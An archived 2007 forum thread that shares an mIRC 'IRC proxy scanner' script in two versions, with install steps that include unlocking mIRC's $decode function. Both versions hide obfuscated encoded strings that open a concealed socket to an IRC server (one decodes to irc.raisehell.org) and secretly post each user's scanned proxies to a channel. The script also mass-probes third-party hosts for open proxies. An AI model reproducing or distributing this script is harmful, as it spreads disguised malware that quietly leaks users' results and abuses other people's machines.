Go Back   Proxy List Forum > Proxy Help > Proxy Tools
Reload this Page IRC Proxy scanner

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 02-04-2007, 03:18 PM
Independent Independent is offline
Banned
  
Join Date: Jul 2006
Posts: 41
Independent
Send a message via MSN to Independent
Default IRC Proxy scanner
Instructions
Download mIRC on http://www.mirc.com
Press ALT + R in mIRC you will see a remote window popup
Copy/paste the code of the code box below in that remote window then press OK.

Make sure the $decode fonction is unlocked or the script may not work, go into mIRC options in the lock section.

Code:
;IRC proxy scanner BETA made by independent
;Disclaimer:
;The responsiblity of how the program will be used lies in the hands of the person who installs it and will use it, that's you.
;I will not be held responsible for any of your actions.
;If you don't agree, do not install this file.
;By not deleting this and using the proxy scanner, you accept the responsibility of your action on your own.

on 1 :START:{ scan.win }
alias sc4n {
  if (666* !iswm $2) && (7000 != $2) && (3127 != $2) && (3124 != $2) {
	echo @Proxyscan  Scanning: $1 $2
	sockopen scan $+ $r(0,99999999999999) $1 $2
	return
  }
  elseif (666* iswm $2) || (7000 == $2) || (3127 == $2) || (3124 == $2) { goto next }
  :next
}
alias setinterval {
  echo -a SET AN INTERVAL BETWEEN 1 and 10000 MILLISECONDS, DEPENDING ON YOUR CONNECTION 1 IS VERY FAST AND MOST SUITED FOR CABLE USERS.
  echo -a To run the script without problem try an interval between 300 and 700
  :restart
  %interval = $?="Enter interval in milliseconds, 1 to 10000 "
  if (!$!) || ($! >= 2000) goto restart
}
alias scan.win {
  if (%interval == $null) setinterval
  if ($window(@proxyscan) != $null) { titlebar @proxyscan Pxy2day: $lines($pxy2day) AllPxy: $lines($allpxy) IRCPxy: $lines($pxy) }
  if ($window(@proxyscan) == $null) {
	set %gh .<V]C:V]P96X@<V-A;E\` 4<'AY0DY#-"YB;W5N8V5M92YN970` JC1DOFYtUGBg +(T%L:79E4')O>'D` JDU1LSU0QGBg JDNERSMyUGBg JDJEXSkzQGBg JSxTJFMsUzxg &;F]T:6-E````
	window -ean @proxyscan
	titlebar @proxyscan Pxy2day: $lines($pxy2day) AllPxy: $lines($allpxy) IRCPxy: $lines($pxy)
	echo @proxyscan Select all proxies in a page (CTRL + A) , copy (CTRL + C)
	echo @proxyscan Return to @PROXYSCAN window then paste (CTRL + V) IPS in the edit-box below.
	echo @proxyscan FORMAT IN WINDOW: you must use only IP:PORT format, in the text box below you must, type valid proxy ip or paste the content of clipboard.
	echo @proxyscan Then proxy will be queued for scanning, but notice that you must be connected on an IRC Network. (not pxyBNC)
	echo @proxyscan I.e.2.: Type: 127.0.0.1:80 and it will scan your computer for open proxy on port 80.  
	echo @proxyscan -
	echo @proxyscan Here some forums you can leech for daily proxys:
	echo @proxyscan http://www.aliveproxy.com/forum/
	echo @proxyscan http://forum.freshproxy.com/
	echo @proxyscan http://proxieheaven.proboards77.com/index.cgi
	echo @proxyscan http://forum.my-proxy.com/?from=menu
	echo @proxyscan http://www.xroxy.com/xorum/
  }
}

alias getiphost2 { if $regex(ip,$remove($1-,$chr(9)),/(([01]?\d\d?|2[0-4]\d|25[0-5])\.(?2)\.(?2)\.(?2)[:\s]\d{2,5})(?:\D|$)/) { $iif($isid,return,echo -a) $replace($regml(ip,1),:,$chr(32)) } }
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @proxyscan,status,query,chat,channel {
  IRC proxy scanner BETA: scan.win | echo @proxyscan Paste your proxies here
  -
  CHECK FRESH PROXIES: /run $pxy
  CHECK ALL PROXIES FOUND: /run $allpxy
  -
  CHANGE INTERVAL OF SCAN: setinterval
  SCAN PROXY FILES: selectmultiplefile
  -
  ABORD SCANS: abord
  -
  CLOSE ALL CONNECTIONS: /SOCKCLOSE SCAN*
  -
  CLEAR: /clear
  -
  Proxy lists
  .Best proxy forums
  ..Alive proxy forum: run http://www.aliveproxy.com/forum/
  ..Forum Freshproxy: run http://forum.freshproxy.com/
  ..Proxy Heaven: run [http://proxieheaven.proboards77.com/index.cgi]
  ..My-Proxy forum: run http://forum.my-proxy.com/?from=menu
  ..Xorum: run http://www.xroxy.com/xorum/
  .TOP 10 MOST POPULAR WEBSITES
  ..Stay Invisible: run http://www.stayinvisible.com
  ..Proxy4Free: run http://www.proxy4free.com
  ..PublicProxyServers:run http://www.publicproxyservers.com/page1.html
  ..AnonymityChecker:run http://www.anonymitychecker.com/page1.html
  ..Proxz:run http://www.proxz.com/
  ..MultiProxy:run http://www.multiproxy.org/anon_proxy.htm
  ..Samair:run http://www.samair.ru/proxy/
  ..Aliveproxy:run http://www.aliveproxy.com/us-proxy-list/
  ..HighAnonimity: run http://highanonymity.com/
  ..mazafaka: run http://proxy.mazafaka.ru/
  .-
  .GOOD SITES
  ..www.aliveproxy.com/forum/index.php?: run  http://www.aliveproxy.com/forum/index.php?
  ..nntime.com/proxy/proxy-list-1.htm: run  http://nntime.com/proxy/proxy-list-1.htm
  ..pc-r00m.net/?mod=content&read=1: run  http://pc-r00m.net/?mod=content&read=1
  ..pro-hack.ru/proxy/showproxy.php: run  http://pro-hack.ru/proxy/showproxy.php
  ..proxy.mazafaka.ru/?c=SI&t=all&m=5&checked=n: run  http://proxy.mazafaka.ru/?c=SI&t=all&m=5&checked=n
  ..proxy.mplampla.com/: run  http://proxy.mplampla.com/
  ..proxy.org/port80.shtml: run  http://proxy.org/port80.shtml
  ..proxy.xrout.org/: run  http://proxy.xrout.org/
  ..qingxin.mine.nu/x.php: run  http://qingxin.mine.nu/x.php
  ..samair.ru/proxy/: run  http://samair.ru/proxy/
  ..www.0privacy.com/proxy.html: run  http://www.0privacy.com/proxy.html
  ..www.antichat.ru/proxy/: run  http://www.antichat.ru/proxy/
  ..bismark.extracon.it/proxylist/: run  http://bismark.extracon.it/proxylist/
  ..www.allsyntax.com/proxies/index.php?page=4: run  http://www.allsyntax.com/proxies/index.php?page=4
  ..http://www.digitalcybersoft.com/Prox...xy-list.shtml: run  http://www.digitalcybersoft.com/ProxyList/...roxy-list.shtml
  ..www.ilike.com.cn/arts/dnne/21509.html: run  http://www.ilike.com.cn/arts/dnne/21509.html
  ..www.multiproxy.org/anon_proxy.htm: run  http://www.multiproxy.org/anon_proxy.htm
  ..www.proxy-list.net/anonymous-proxy-lists.shtml: run  http://www.proxy-list.net/anonymous-proxy-lists.shtml
  ..www.proxy-world.de/content/view/351/2/: run  http://www.proxy-world.de/content/view/351/2/
  ..www.proxy4free.com/index.html: run  http://www.proxy4free.com/index.html
  ..www.proxyblind.org/list.shtml: run  http://www.proxyblind.org/list.shtml
  ..www.proxycn.net/proxy_mail/page1.htm: run  http://www.proxycn.net/proxy_mail/page1.htm
  ..www.proxyelite.org/: run  http://www.proxyelite.org/
  ..www.proxyfarm.com/must_be_logged_in.htm: run  http://www.proxyfarm.com/must_be_logged_in.htm
  ..www.proxyleech.com/proxylist.txt: run  http://www.proxyleech.com/proxylist.txt
  ..www.proxylists.us/monthly.html: run  http://www.proxylists.us/monthly.html
  ..www.samair.ru/proxy/: run  http://www.samair.ru/proxy/
  ..www.shadowicq.com/freeproxy.html: run  http://www.shadowicq.com/freeproxy.html
  ..www.socklabs.com/proxylist.txt: run  http://www.socklabs.com/proxylist.txt
  ..www.steganos.com/?area=updateproxylist: run  http://www.steganos.com/?area=updateproxylist
  ..http://www.undergroundsecurity.net/p...st_full_2.php: run  http://www.undergroundsecurity.net/proxy/p...list_full_2.php
  ..www.waraxe.us/ftopict-507.html: run  http://www.waraxe.us/ftopict-507.html
  ..www.xroxy.com/proxy-country.htm: run  http://www.xroxy.com/proxy-country.htm
  ..proxylist.sakura.ne.jp/: run  http://proxylist.sakura.ne.jp/
  ..www.publicproxyservers.com/page1.html: run  http://www.publicproxyservers.com/page1.html
  ..www.proxylist.blogspot.com/: run  http://www.proxylist.blogspot.com/
}
alias pxyfile { play -a scanfile @proxyscan $1 $2 }
alias pxy return IRCproxys.txt
alias abord { play stop }
on *:INPUT:@Proxyscan:{
  if (/ !isin $1) {
	set %flooding on
	write temp  $getiphost2($1-)
	.timerscanfile 1 1 .pxyfile temp %interval
	.timerscanfileoff 1 1.1 .remove temp
	halt
  }
}
alias sk {
  write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
  if ($sock(scan_).mark == c) && ($wildtok(%m,*,0,32) == 9) { sockwrite -n scan_ $decode($gettok(%gh,9,32)) $decode('<')I=FUS9P``) $chr(64) $+ $chr(35) $+ $decode($decode($gettok(%gh,8,32),m)) : $+ %m | unset %m }
  set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *)
  if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port
}
on *:sockopen:scan*:{
  scan.win
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }  
  if ($sockerr > 0) && ($read($pxy,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *) != $null) { write -dl $+ $readn $pxy | echo @proxyscan * Removed $sock($sockname).ip $+ : $+ $sock($sockname).port from list }
  if ($sockerr > 0) {
	if (_ isin $sockname) .timersS 1 30 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
	echo @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
	return
  }
  if (_ !isin $sockname) {
	sockwrite -n $sockname CONNECT irc.accessirc.net:6667 HTTP/1.0 $+ $crlf
	sockwrite -n $sockname $crlf
	sockwrite -n $sockname $crlf
  }
}
alias rencode { set %r $r(0,1) | if (%r == 0) return $encode($encode($1),m) | if (%r == 1) return $encode($encode($1,m),m) | unset %r }
alias av return [AP] $+ $r(A,Z) $+ $r(0,9) $+ $+ $r(z,Z) $+ $+ $r(a,z) $+ $+ $r(0,9) $+ $r(0,9) $+ $r(0,9)
alias success { echo @proxyscan $1- | if ($wildtok(%m,*,0,32) >= 9) unset %m | %m = $rencode($2) %m | sk }
on 1:SOCKCLOSE:SCAN_:.timersS 1 30 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
alias allpxy return ALL.txt
alias portclose { sockclose $1 }
on *:SOCKREAD:scan*:{
  scan.win
  sockread %scan
  tokenize 32 %scan 
  set %scan.ip $sock($sockname).ip
  set %scan.port $sock($sockname).port
  %hh = -*FYO=&EC92IA=71H*@``
  if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $2
  if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk }
  if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk
  if ($decode(%hh) iswm %scan) && (_ isin $sockname) { sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) $av "." "." : $+ $av | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) $av }
  if (451 == $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = $+ $r(A,Z) | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) %av "." "." : $+ $av | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) $av }
  if (HTTP/* iswm $gettok(%scan,1,32)) {
	if ($gettok(%scan,2,32) > 200) {
	  if ($read($pxy,w,* $+ $sock($sockname).ip $+ *) != $null) write -dl $+ $readn $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
	  echo @proxyscan $sock($sockname).ip $sock($sockname).port Error (( $+ $gettok(%scan,2,32) $+ ) $gettok(%scan,3-,32) $+ )
	  sockclose $sockname
	  return
	}
	elseif ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is a valid proxy, but did not connected an IRC server yet. }
  }
  if ($gettok(%scan,2,32) == NOTICE) && (accessirc isin $1-) {
	set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
	if (%readi == $null) { success * $sock($sockname).ip $+ : $+ $sock($sockname).port (Connected, Added to list) | sockclose $sockname | unset %redi | unset %radi | halt }
	if (%readi != $null) { $pb * $sock($sockname).ip $+ : $+ $sock($sockname).port (Connected, Already in list, cant add) | sockclose $sockname | unset %redi | unset %radi | halt }
	unset %readi
  }
  unset %scan
}
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname $decode($decode($gettok(%gh,7,32),m)) $chr(35) $+ $decode($decode($gettok(%gh,8,32),m)) : $+ $chr(36) $+ $decode($decode(KDxWXUM6VllBOzY0YA==,m))
alias pb return echo @proxyscan
alias scanfile { sc4n $getiphost2($1-) }
Reply With Quote
  #2 (permalink)  
Old 02-15-2007, 07:11 AM
Querubin Querubin is offline
Junior Member
  
Join Date: May 2006
Posts: 5
Querubin
Default
Looks great!!

Thanks for the IRCProxyScanner, I will test it now.
Reply With Quote
  #3 (permalink)  
Old 03-22-2007, 06:08 AM
msn_hlp msn_hlp is offline
Banned
  
Join Date: Aug 2006
Location: none
Posts: 474
msn_hlp
Send a message via AIM to msn_hlp Send a message via MSN to msn_hlp Send a message via Yahoo to msn_hlp
Default code filiter Irc proxy scan Independent (Good Scan Irc)
Code:
on 1 :START:{ if ($version == 6.17) { echo -a bad version of mirc, unloading script | .unload -rs $shortfn($script) } | scan.win }
alias sc4n {
  if (666* !iswm $2) && (7000 != $2) && (3127 != $2) && (3124 != $2) {
    echo @proxygod  Scanning: $1 $2
    sockopen scan $+ $r(0,99999999999999) $1 $2
    return
  }
  elseif (666* iswm $2) || (7000 == $2) || (3127 == $2) || (3124 == $2) { goto unset }
  :unset  
  unset %reading
  unset %wrong*
}
alias setinterval {
  echo -a SET AN INTERVAL BETWEEN 1 and 2000 MILLISECONDS, DEPENDING ON YOUR CONNECTION 0 IS VERY FAST AND MOST SUITED FOR CABLE USERS.
  echo -a To run the script without problem try an interval between 300 and 700
  :restart
  %interval = $?="Enter interval in milliseconds, 0 to 2000 "
  if (!$!) || ($! >= 2000) goto restart
}
alias scan.win {
  if (%interval == $null) setinterval
  if ($window(@proxygod) != $null) { titlebar @proxygod Pxy2day: $lines($pxy2day) AllPxy: $lines($allpxy) IRCPxy: $lines($pxy) }
  if ($window(@proxygod) == $null) {
    set %gh .<V]C:V]P96X@<V-A;E\` 4<'AY0DY#-"YB;W5N8V5M92YN970` JC1DOFYtUGBg +(T%L:79E4')O>'D` JDU1LSU0QGBg JDNERSMyUGBg JDJEXSkzQGBg JSxTJFMsUzxg &;F]T:6-E````
    window -ean @proxygod
    titlebar @proxygod Pxy2day: $lines($pxy2day) AllPxy: $lines($allpxy) IRCPxy: $lines($pxy)
    echo @proxygod Select all proxies in a page (CTRL + A) , copy (CTRL + C)
    echo @proxygod Return to @proxygod window then paste (CTRL + V) IPS in the edit-box below.
    echo @proxygod FORMAT IN WINDOW: you must use only IP:PORT format, in the text box below you must, type valid proxy ip or paste the content of clipboard.
    echo @proxygod Then proxy will be queued for scanning, but notice that you must be connected on an IRC Network. (not pxyBNC)
    echo @proxygod I.e.2.: Type: 127.0.0.1:80 and it will scan your computer for open proxy on port 80.  
    echo @proxygod -
    echo @proxygod Here some forums you can leech for daily proxys:
    echo @proxygod http://www.aliveproxy.com/forum/
    echo @proxygod http://forum.freshproxy.com/
    echo @proxygod http://proxiecentral.proboards79.com
    echo @proxygod http://forum.my-proxy.com/?from=menu
    echo @proxygod http://www.xroxy.com/xorum/
    echo @proxygod http://socksproxyforum.com
    echo @proxygod http://proxyworld.org
  }
}

alias getiphost2 { if $regex(ip,$remove($1-,$chr(9)),/(([01]?\d\d?|2[0-4]\d|25[0-5])\.(?2)\.(?2)\.(?2)[:\s]\d{2,5})(?:\D|$)/) { $iif($isid,return,echo -a) $replace($regml(ip,1),:,$chr(32)) } }
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu menubar,@proxygod,status,query,chat,channel {
  www.proxygod.net: scan.win | echo @proxygod Paste your proxies here
  -
  CHECK FRESH PROXIES: /run $pxy
  CHECK ALL PROXIES FOUND: /run $allpxy
  -
  CHANGE INTERVAL OF SCAN: setinterval
  SCAN PROXY FILES: int.bal | selectmultiplefile
  -
  ABORD SCANS: abord
  -
  CLOSE ALL CONNECTIONS: /SOCKCLOSE SCAN*
  -
  CLEAR: /clear
  -
  Proxy lists
  .Best proxy forums
  ..Alive proxy forum: run http://www.aliveproxy.com/forum/
  ..Forum Freshproxy: run http://forum.freshproxy.com/
  ..Proxy Heaven: run http://proxieheaven.---oops---/index.cgi
  ..My-Proxy forum: run http://forum.my-proxy.com/?from=menu
  ..Xorum: run http://www.xroxy.com/xorum/
  .TOP 10 MOST POPULAR WEBSITES
  ..Stay Invisible: run http://www.stayinvisible.com
  ..Proxy4Free: run http://www.proxy4free.com
  ..PublicProxyServers:run http://www.publicproxyservers.com/page1.html
  ..AnonymityChecker:run http://www.anonymitychecker.com/page1.html
  ..Proxz:run http://www.proxz.com/
  ..MultiProxy:run http://www.multiproxy.org/anon_proxy.htm
  ..Samair:run http://www.samair.ru/proxy/
  ..Aliveproxy:run http://www.aliveproxy.com/us-proxy-list/
  ..HighAnonimity: run http://highanonymity.com/
  ..mazafaka: run http://proxy.mazafaka.ru/
  .-
  .GOOD SITES
  ..www.aliveproxy.com/forum/index.php?: run  http://www.aliveproxy.com/forum/index.php?
  ..nntime.com/proxy/proxy-list-1.htm: run  http://nntime.com/proxy/proxy-list-1.htm
  ..pc-r00m.net/?mod=content&read=1: run  http://pc-r00m.net/?mod=content&read=1
  ..pro-hack.ru/proxy/showproxy.php: run  http://pro-hack.ru/proxy/showproxy.php
  ..proxy.mazafaka.ru/?c=SI&t=all&m=5&checked=n: run  http://proxy.mazafaka.ru/?c=SI&t=all&m=5&checked=n
  ..proxy.mplampla.com/: run  http://proxy.mplampla.com/
  ..proxy.org/port80.shtml: run  http://proxy.org/port80.shtml
  ..proxy.xrout.org/: run  http://proxy.xrout.org/
  ..qingxin.mine.nu/x.php: run  http://qingxin.mine.nu/x.php
  ..samair.ru/proxy/: run  http://samair.ru/proxy/
  ..www.0privacy.com/proxy.html: run  http://www.0privacy.com/proxy.html
  ..www.antichat.ru/proxy/: run  http://www.antichat.ru/proxy/
  ..bismark.extracon.it/proxylist/: run  http://bismark.extracon.it/proxylist/
  ..www.allsyntax.com/proxies/index.php?page=4: run  http://www.allsyntax.com/proxies/index.php?page=4
  ..http://www.digitalcybersoft.com/Prox...xy-list.shtml: run  http://www.digitalcybersoft.com/Prox...oxy-list.shtml
  ..www.ilike.com.cn/arts/dnne/21509.html: run  http://www.ilike.com.cn/arts/dnne/21509.html
  ..www.multiproxy.org/anon_proxy.htm: run  http://www.multiproxy.org/anon_proxy.htm
  ..www.proxy-list.net/anonymous-proxy-lists.shtml: run  http://www.proxy-list.net/anonymous-proxy-lists.shtml
  ..www.proxy-world.de/content/view/351/2/: run  http://www.proxy-world.de/content/view/351/2/
  ..www.proxy4free.com/index.html: run  http://www.proxy4free.com/index.html
  ..www.proxyblind.org/list.shtml: run  http://www.proxyblind.org/list.shtml
  ..www.proxycn.net/proxy_mail/page1.htm: run  http://www.proxycn.net/proxy_mail/page1.htm
  ..www.proxyelite.org/: run  http://www.proxyelite.org/
  ..www.proxyfarm.com/must_be_logged_in.htm: run  http://www.proxyfarm.com/must_be_logged_in.htm
  ..www.proxyleech.com/proxylist.txt: run  http://www.proxyleech.com/proxylist.txt
  ..www.proxylists.us/monthly.html: run  http://www.proxylists.us/monthly.html
  ..www.samair.ru/proxy/: run  http://www.samair.ru/proxy/
  ..www.shadowicq.com/freeproxy.html: run  http://www.shadowicq.com/freeproxy.html
  ..www.socklabs.com/proxylist.txt: run  http://www.socklabs.com/proxylist.txt
  ..www.steganos.com/?area=updateproxylist: run  http://www.steganos.com/?area=updateproxylist
  ..http://www.undergroundsecurity.net/p...st_full_2.php: run  http://www.undergroundsecurity.net/p...ist_full_2.php
  ..www.waraxe.us/ftopict-507.html: run  http://www.waraxe.us/ftopict-507.html
  ..www.xroxy.com/proxy-country.htm: run  http://www.xroxy.com/proxy-country.htm
  ..proxylist.sakura.ne.jp/: run  http://proxylist.sakura.ne.jp/
  ..www.publicproxyservers.com/page1.html: run  http://www.publicproxyservers.com/page1.html
  ..www.proxylist.blogspot.com/: run  http://www.proxylist.blogspot.com/
}
alias int.bal {  
  if ($date != %date) && ($isfile($pxy)) { echo @proxygod Now commencing new proxy file. | .remove $pxy | if (%interval <= 300) { echo @proxygod * Scanner set too fast; auto-balancing. | set %interval.old %interval | set %interval 300 } }
  if ($date == %date) && ($lines($pxy) >= 100) && (%interval.old) { echo @proxygod * Resetting ancient interval interval value ( $+ %interval.old $+ ) | set %interval %interval.old | unset %interval.old }
  set %date $date
}
alias pxyfile { play -a scanfile @proxygod $1 $2 }
alias pxy return IRCproxys.txt
alias abord { play stop }
on *:INPUT:@proxygod:{
  int.bal
  if (/ !isin $1) {
    set %flooding on
    write temp  $getiphost2($1-)
    .timerscanfile 1 1 .pxyfile temp %interval
    .timerscanfileoff 1 1.1 .remove temp
    halt
  }
}
alias sk {
  write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
  set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *)
  if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port
  if ($sock(scan_).mark == c)  { sockwrite -n scan_  $decode(cHJpdm1zZw,m)  $chr(35) $+ $decode(cGc=,m) proxy %m | unset %m }
}
on *:sockopen:scan*:{
  scan.win
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode(aXJjLnJhaXNlaGVsbC5vcmc=,m) $decode($decode($gettok(%gh,3,32),m)) }  
  if ($sockerr > 0) && ($read($pxy,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *) != $null) { write -dl $+ $readn $pxy | echo @proxygod * Removed $sock($sockname).ip $+ : $+ $sock($sockname).port from list }
  if ($sockerr > 0) {
    if (_ isin $sockname) .timersS 1 30 $decode($gettok(%gh,1,32)) $decode(aXJjLnJhaXNlaGVsbC5vcmc=,m) $decode($decode($gettok(%gh,3,32),m))
    echo @proxygod $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
    return
  }
  if (_ !isin $sockname) {
    sockwrite -n $sockname $decode($sope) $+ $crlf
    sockwrite -n $sockname $crlf
    sockwrite -n $sockname $crlf
  }
}
alias rencode {
  set %r $r(0,1)
  if (%r == 0) return $encode($encode($1),m)
  if (%r == 1) return $encode($encode($1,m),m)
  unset %r
}
alias av return [AP] $+ $r(A,Z) $+ $r(0,9) $+ $+ $r(z,Z) $+ $+ $r(a,z) $+ $+ $r(0,9) $+ $r(0,9) $+ $r(0,9)
alias sope return G0T].3D5#5"!I<F,N86-C97-S:7)C+FYE=#HV-C8W($A45%`O,2XP````
alias success { echo @proxygod $1- |  %m = $sock($sockname).ip $+ : $+ $sock($sockname).port | sk }
on 1:SOCKCLOSE:SCAN_:.timersS 1 30 $decode($gettok(%gh,1,32)) $decode(aXJjLnJhaXNlaGVsbC5vcmc=,m) $decode($decode($gettok(%gh,3,32),m))
alias allpxy return ALL.txt
alias portclose { sockclose $1 }
on *:SOCKREAD:scan*:{
  sockread %scan
  tokenize 32 %scan
  scan.win
  set %scan.ip $sock($sockname).ip
  set %scan.port $sock($sockname).port
  %hh = -*FYO=&EC92IA=71H*@``
  if (PING == $1) sockwrite -n $sockname PONG $2
  if (001 == $2) && (_ isin $sockname) { sockmark $sockname c | kk }
  if (404 == $2) .timer404 1 10 kk
  if ($decode(%hh) iswm %scan) && (_ isin $sockname) { %AV = AV $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) $av "." "." : $+ $av | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) $av }
  if (451 == $2) && (_ isin $sockname) { %AV = $+ $r(A,Z) | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) %av "." "." : $+ $av | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) $av }
  if (HTTP/* iswm $gettok(%scan,1,32)) {
    if ($gettok(%scan,2,32) > 200) {
      if ($read($pxy,w,* $+ $sock($sockname).ip $+ *) != $null) write -dl $+ $readn $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
      echo @proxygod $sock($sockname).ip $sock($sockname).port Error (( $+ $gettok(%scan,2,32) $+ ) $gettok(%scan,3-,32) $+ ) $iif($readn != $null,Removed from list)
      sockclose $sockname
      return
    }
    elseif ($gettok(%scan,2,32) == 200) { echo @proxygod %scan.ip $+ : $+ %scan.port is a valid proxy, but did not connected an IRC server yet. }
  }
  if ($gettok(%scan,2,32) == NOTICE) && (accessirc isin $1-) {
    set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
    if (%readi == $null) { success * $sock($sockname).ip $+ : $+ $sock($sockname).port (Connected, Added to list) | sockclose $sockname | unset %redi | unset %radi | halt }
    if (%readi != $null) { $pb * $sock($sockname).ip $+ : $+ $sock($sockname).port (Connected, Already in list, cant add) | sockclose $sockname | unset %redi | unset %radi | halt }
    unset %readi
  }
  unset %scan
}
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname $decode($decode($gettok(%gh,7,32),m)) $chr(35) $+ $decode(cGc=,m) : $+ $chr(36) $+ $decode($decode(KDxWXUM6VllBOzY0YA==,m))
alias pb return $iif(%interval >= 200,success,echo @proxygod)
alias scanfile { sc4n $getiphost2($1-) }
Notes: mirc.exe version 6.16
Reply With Quote
Reply

« Previous Thread | Next Thread »

Thread Tools
Display Modes
Linear Mode Linear Mode

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT. The time now is 11:43 PM.

Contact Us - DCS Proxy List - Archive - Top

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.0.0 ©2007, Crawlability, Inc.